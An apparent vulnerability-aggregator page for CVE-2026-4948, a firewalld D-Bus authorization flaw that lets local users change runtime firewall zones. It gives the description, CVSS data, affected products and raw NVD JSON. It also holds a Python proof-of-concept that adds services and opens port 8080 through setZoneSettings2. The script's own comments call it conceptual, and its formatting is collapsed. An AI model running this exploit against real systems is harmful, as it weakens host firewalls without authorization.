Security Vulnerability Report
中文
CVE-2026-4948 CVSS 5.5 MEDIUM

CVE-2026-4948

Published: 2026-03-27 06:16:40
Last Modified: 2026-05-15 19:17:05

Description

A flaw was found in firewalld. A local unprivileged user can exploit this vulnerability by mis-authorizing two runtime D-Bus (Desktop Bus) setters, setZoneSettings2 and setPolicySettings. This mis-authorization allows the user to modify the runtime firewall state without proper authentication, leading to unauthorized changes in network security configurations.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:firewalld:firewalld:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:* - VULNERABLE
firewalld (具体受影响版本请参考Red Hat及厂商安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import dbus import sys # Exploit Title: firewalld D-Bus Authorization Bypass (CVE-2026-4948) # Description: PoC to demonstrate unauthorized modification of runtime firewall settings. # Usage: python3 poc.py def exploit_poc(): try: # Connect to the System Bus bus = dbus.SystemBus() # Get the firewalld service object fw_object = bus.get_object('org.fedoraproject.FirewallD1', '/org/fedoraproject.FirewallD1') # Access the configuration interface # Note: Interface name might vary based on version, typically org.fedoraproject.FirewallD1.config fw_interface = dbus.Interface(fw_object, 'org.fedoraproject.FirewallD1.config') print("[+] Connected to firewalld D-Bus interface.") # Attempt to modify a zone setting without authorization # Targeting the vulnerable setZoneSettings2 or setPolicySettings # Example parameters for modifying the 'public' zone zone_name = 'public' malicious_settings = { 'description': 'Modified by low-priv user', 'services': ['ssh', 'http'], # Adding unauthorized services 'ports': [('8080', 'tcp')] # Opening ports } print(f"[*] Attempting to modify runtime settings for zone: {zone_name}") # Call the vulnerable method (Signature may vary, this is a conceptual representation) fw_interface.setZoneSettings2(zone_name, malicious_settings) print("[!] Successfully modified firewall runtime configuration!") print("[!] Integrity compromised: Firewall rules changed.") except dbus.exceptions.DBusException as e: print(f"[-] D-Bus Error: {e}") except Exception as e: print(f"[-] General Error: {e}") if __name__ == "__main__": exploit_poc()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4948", "sourceIdentifier": "[email protected]", "published": "2026-03-27T06:16:39.543", "lastModified": "2026-05-15T19:17:04.917", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in firewalld. A local unprivileged user can exploit this vulnerability by mis-authorizing two runtime D-Bus (Desktop Bus) setters, setZoneSettings2 and setPolicySettings. This mis-authorization allows the user to modify the runtime firewall state without proper authentication, leading to unauthorized changes in network security configurations."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-279"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:firewalld:firewalld:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.4.0", "matchCriteriaId": "285B88A1-9932-482A-BE91-D0E6663A3B8B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-4948", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2452086", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00029.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}